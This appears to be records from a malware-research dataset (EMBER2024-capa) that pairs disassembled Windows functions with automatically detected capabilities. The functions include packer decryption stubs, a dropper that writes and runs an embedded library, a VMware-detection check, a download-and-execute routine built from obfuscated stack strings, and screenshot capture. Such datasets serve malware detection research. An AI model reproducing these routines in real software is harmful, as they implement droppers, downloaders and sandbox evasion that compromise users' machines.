joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406492
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x4064b6
xor eax, eax
test eax, eax
je 0x4064c8
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4064c8
xor ecx, ecx
jmp 0x4064cb
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x4065b7
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42ce24], 0
push esi
jne 0x4065ee
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4065c8
mov dword [ecx*4 + 0x42ce20], eax
inc ecx
cmp ecx, 0x100
jl 0x4065c3
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40661f
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42ce20]
xor eax, esi
inc ecx
dec edx
jne 0x406601
pop edi
not eax
pop esi
ret 0xc

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x5808483e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x62d874e4
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x43bd4d1d
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x3161f95
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401000
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x10c]
push str._system32yjsoft.ini
push eax
call fcn.00401b90
pop ecx
xor esi, esi
pop ecx
push 0x4061a0
push 0x65
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, esi
je 0x401112
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push esi
push 2
mov dword [ebp - 4], eax
push esi
push esi
lea eax, [ebp - 0x10c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x401112
lea eax, [ebp - 8]
push esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.YJSOFT
push str.yjsoft.ini
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x12e
push 0x406040
push esi
call fcn.00401840
push 5
lea eax, [esi - 0x2bdb]
push 0x406170
push eax
call fcn.00401840
push 6
lea eax, [esi - 0x27bf]
push 0x406178
push eax
call fcn.00401840
push 0xa
lea eax, [esi + 0xcc56]
push 0x406180
push eax
call fcn.00401840
add esp, 0x30
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4011c1
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
je 0x401224
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40121d
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40121a
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x4011f3
push 1
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x4012a7
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405108
push 0x401d68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x401307
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40131d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
lea eax, [ebp - 0x18]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebx, ebx
push eax
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], 0x68
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x33
mov byte [ebp - 0x12], 0x32
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], bl
call esi
mov dword [0x408930], eax
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], bl
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x408934], eax
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
push eax
mov byte [ebp - 0x27], 0x68
push dword [0x408930]
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x45
mov byte [ebp - 0x22], 0x78
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x75
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x41
mov byte [ebp - 0x1b], bl
call esi
mov dword [0x40892c], eax
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 0x3c], 0x55
push dword [0x408934]
mov byte [ebp - 0x3b], 0x52
mov byte [ebp - 0x3a], 0x4c
mov byte [ebp - 0x39], 0x44
mov byte [ebp - 0x38], 0x6f
mov byte [ebp - 0x37], 0x77
mov byte [ebp - 0x36], 0x6e
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x61
mov byte [ebp - 0x32], 0x64
mov byte [ebp - 0x31], 0x54
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x46
mov byte [ebp - 0x2e], 0x69
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x2a], bl
call esi
push ebx
mov dword [0x408938], eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call eax
push 5
push ebx
push ebx
push dword [ebp + 0xc]
push str.open
push ebx
call dword [0x40892c]
pop esi
pop ebx
leave
ret
Function at 0x40170c
Capabilities:
Copy file
Create process on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
xor esi, esi
push str.Baijin
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40173a
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
push edi
push esi
push str.taskkill__f__im
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push esi
push esi
push 0x401117
push esi
push esi
call ebx
mov edi, 0x104
lea eax, [ebp - 0x104]
push edi
push esi
push eax
call fcn.004017e0
add esp, 0xc
lea eax, [ebp - 0x104]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea eax, [ebp - 0x104]
push 0x4061e8
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.0040122a
test al, al
jne 0x4017b8
call fcn.004012a7
test al, al
jne 0x4017b8
push esi
push esi
push esi
push 0x401469
push esi
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00401000
pop edi
pop ebx
xor eax, eax
pop esi
leave
ret 0x10
Function at 0x1000671c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000672b
pop dword [ebp - 0x20]
mov eax, 0x1000672b
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x2cf6d771
sub dword [ebp - 0x30], 0xdea49226
mov dword [ebp - 0x2c], 0xad22aca8
add dword [ebp - 0x2c], 0x85109f9d
mov dword [ebp - 0x28], 0x1e62f31
sub dword [ebp - 0x28], 0xb599eb03
mov dword [ebp - 0x24], 0x201b330e
sub dword [ebp - 0x24], 0x201b330e
lea eax, [ebp - 0x30]
push eax
mov eax, 0xf03a8a0b
add eax, 0x1fc666a5
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x49ca4504
sub dword [ebp - 0x30], 0xd557dbae
mov dword [ebp - 0x2c], 0xe88bf20
sub dword [ebp - 0x2c], 0xcd1c5dab
mov dword [ebp - 0x28], 0x6bc2823
sub dword [ebp - 0x28], 0xa34cbbb7
mov dword [ebp - 0x24], 0xe404b128
add dword [ebp - 0x24], 0x1bfb4ed8
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x1e928b7b
sub eax, 0xe919ad3
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x365cc
push 0
call eax
mov ecx, 0x271c8c43
sub ecx, 0x271c4e44
mov ebx, eax
mov esi, 0xf6bd7ce7
add esi, 0x1944bb19
add esi, dword [ebp - 0x20]
mov edx, 0x6f266ea7
sub dword [ebp - 0x18], 0xf3e3d82d
mov edi, dword [esi]
xor dword [ebp - 0x18], 0x29d5d7d9
sub edi, edx
add dword [ebp - 0xc], esi
mov dword [ebx], edi
add ebx, 0xbb0d515b
sub ebx, 0xbb0d5157
add esi, 4
loop 0x10006842
add eax, 0x7b8a6ca9
add eax, 0x84767e26
mov ebx, eax
add eax, 5
mov ecx, 0x7b75d769
sub ecx, 0x6b75d769
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x1000b110
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
cmp eax, 0x1a
jl 0x1000b168
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x1000b168
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push 0x10
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
push eax
push dword [esi + 4]
push dword [esi]
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.1000671c
push 1
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
ret 4

Function at 0x1000b700
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8
Function at 0x401740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x162004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov dword [ebp - 0x114], edx
push 0
push eax
mov dword [ebp - 0x110], ecx
call fcn.0040a410
mov edx, 0x162844
add esp, 0xc
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x401780
lea edi, [ebp - 0x108]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401790
mov ecx, edx
lea eax, [ebp - 0x108]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
push 1
mov ecx, edx
and ecx, 3
push 0x80000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [0x15a03c]
mov edi, eax
mov dword [ebp - 0x11c], edi
cmp edi, 0xffffffff
je 0x4018cd
push ebx
push 0
push edi
call dword [0x15a04c]
mov esi, eax
xor edx, edx
mov ecx, esi
add ecx, 1
setb dl
neg edx
or edx, ecx
push edx
call fcn.0040b4a2
mov ebx, eax
add esp, 4
mov dword [ebp - 0x118], ebx
test ebx, ebx
je 0x4018cc
inc esi
push esi
push 0
push ebx
call fcn.0040a410
add esp, 0xc
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push 0
push eax
push esi
push ebx
push edi
call dword [0x15a0d8]
cmp dword [ebx], 0
mov esi, ebx
mov edi, ebx
je 0x4018b7
nop dword [eax + eax]
add edi, 0x208
cmp dword [edi], 0
jne 0x401840
nop dword [eax + eax]
xor eax, eax
xor byte [eax + esi + 8], al
lea ecx, [eax + esi]
inc eax
cmp eax, 0x200
jb 0x401852
lea ebx, [esi + 8]
push ebx
push 0x15fac0
call fcn.0040dcbf
add esp, 8
test eax, eax
jne 0x4018a6
push dword [esi]
call fcn.004081ee
mov ecx, dword [ebp - 0x110]
mov dword [ecx], eax
mov ecx, dword [ebx - 4]
push dword [esi]
add ecx, 0x208
add ecx, edi
push ecx
push eax
call fcn.00418680
mov ecx, dword [ebp - 0x114]
add esp, 0x10
mov eax, dword [esi]
mov dword [ecx], eax
add esi, 0x208
cmp dword [esi], 0
jne 0x401850
mov ebx, dword [ebp - 0x118]
push dword [ebp - 0x11c]
call dword [0x15a048]
push ebx
call fcn.0040b49d
add esp, 4
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004080b5
mov esp, ebp
pop ebp
ret
Function at 0x401410
Capabilities:
Capture screenshot
Open clipboard
Write clipboard data

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x54
call sym.___main
mov dword [esp], 0x9c4
call sym._Sleep_4
sub esp, 4
mov dword [esp], 0
call sym._GetDC_4
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [esp], 0
call sym._GetSystemMetrics_4
sub esp, 4
mov dword [ebp - 0x10], eax
mov dword [esp], 1
call sym._GetSystemMetrics_4
sub esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateCompatibleDC_4
sub esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateCompatibleBitmap_12
sub esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._SelectObject_8
sub esp, 8
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._BitBlt_36
sub esp, 0x24
mov dword [esp], 0
call sym._OpenClipboard_4
sub esp, 4
call sym._EmptyClipboard_0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._SetClipboardData_8
sub esp, 8
call sym._CloseClipboard_0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._DeleteObject_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._DeleteDC_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._ReleaseDC_8
sub esp, 8
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401d50
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408048
call sym._EnterCriticalSection_4
mov ebx, dword [0x408040]
sub esp, 4
test ebx, ebx
je 0x401d9b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401d94
test esi, esi
je 0x401d94
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401d70
mov dword [esp], 0x408048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401f80
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401fd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4020a4
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x40200e
cmp eax, 4
jne 0x402030
test esi, esi
je 0x402022
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x402014
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x40206f
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x402061
cmp ecx, 0x40
je 0x402022
cmp ecx, 4
je 0x402022
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401f80
lea esi, [esi]

Function at 0x426181
Capabilities:
Terminate process

Disassembly:
jmp 0x428780
jmp fcn.00429000
cmp ecx, dword [section..data]
jne 0x42878a
repz ret
jmp 0x426537
Function at 0x2580fdb2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x2580fdc1
pop dword [ebp - 0x30]
mov eax, 0x2580fdc1
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xc2d491f1
add dword [ebp - 0x40], 0x8b7db35a
mov dword [ebp - 0x3c], 0xd6e14fa
sub dword [ebp - 0x3c], 0xdb3ac8b5
mov dword [ebp - 0x38], 0x7acc70b9
add dword [ebp - 0x38], 0xd17fd375
mov dword [ebp - 0x34], 0xdb61a359
sub dword [ebp - 0x34], 0xdb61a359
lea eax, [ebp - 0x40]
push eax
mov eax, 0xbaf757a3
add eax, 0x6a8a78a1
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xafdda08c
sub dword [ebp - 0x40], 0x3b6b3736
mov dword [ebp - 0x3c], 0x457a423f
add dword [ebp - 0x3c], 0xfbf21f36
mov dword [ebp - 0x38], 0x14d87e05
sub dword [ebp - 0x38], 0xb1691199
mov dword [ebp - 0x34], 0xbbe7d53
sub dword [ebp - 0x34], 0xbbe7d53
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3c53c
push 0
call eax
mov ecx, 0x12ce9c58
add ecx, 0xed31aaa5
xor edx, edx
add edx, eax
mov esi, 0x25829600
add esi, dword [ebp - 0x30]
mov ebx, 0xba110e1b
sub dword [ebp - 0x24], edi
mov edi, dword [esi]
sub dword [ebp - 0x20], ecx
xor edi, ebx
sub dword [ebp - 0x14], 0x48178c1c
mov dword [edx], edi
xor dword [ebp - 0x18], eax
add edx, 0x26059c15
add edx, 0xd9fa63ef
add esi, 4
loop 0x2580fecf
add eax, 0x80c64b03
sub eax, 0x80c53c3c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xd3345b86
add ecx, 0x524ba47a
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x1000ad30
Capabilities:
Create process on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x8c
mov esi, ecx
mov eax, dword [0x10025040]
xor eax, esp
mov dword [esp + 0x88], eax
cmp dword [ecx + 0x10], 0
sete byte [esp + 0x2b]
mov eax, 0x3cdc6912
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ebp, [esp + 0x44]
lea edi, [esp + 0x34]
nop word cs:[eax + eax]
cmp eax, 0xa61a3f83
jle 0x1000ada0
cmp eax, 0xa61a3f84
je 0x1000adb7
cmp eax, 0xdcdedabc
je 0x1000adc6
cmp eax, 0x3cdc6912
jne 0x1000ad70
cmp byte [esp + 0x2b], 0
mov eax, 0xdcdedabc
mov ecx, 0x91c17f4b
cmovne eax, ecx
jmp 0x1000ad70
cmp eax, 0x90e1676b
je 0x1000ae50
cmp eax, 0x91c17f4b
jne 0x1000ad70
jmp 0x1000ae8a
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
mov eax, 0x91c17f4b
jmp 0x1000ad70
mov dword [esp + 0x2c], ebp
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
xorps xmm0, xmm0
movups xmmword [eax + 0x30], xmm0
movups xmmword [eax + 0x20], xmm0
movups xmmword [eax + 0x10], xmm0
movups xmmword [eax], xmm0
mov dword [eax + 0x40], 0
mov dword [esp + 0x30], edi
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x30]
movups xmmword [eax], xmm0
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x1000ae04
mov eax, dword [esi]
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], ebp
movaps xmm0, xmmword [0x10021970]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
mov eax, 0x90e1676b
mov ecx, 0xa61a3f84
cmove eax, ecx
jmp 0x1000ad70
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, 0xa61a3f84
jmp 0x1000ad70
mov ecx, dword [esp + 0x88]
xor ecx, esp
call fcn.10012b1a
add esp, 0x8c
pop esi
pop edi
pop ebx
pop ebp
ret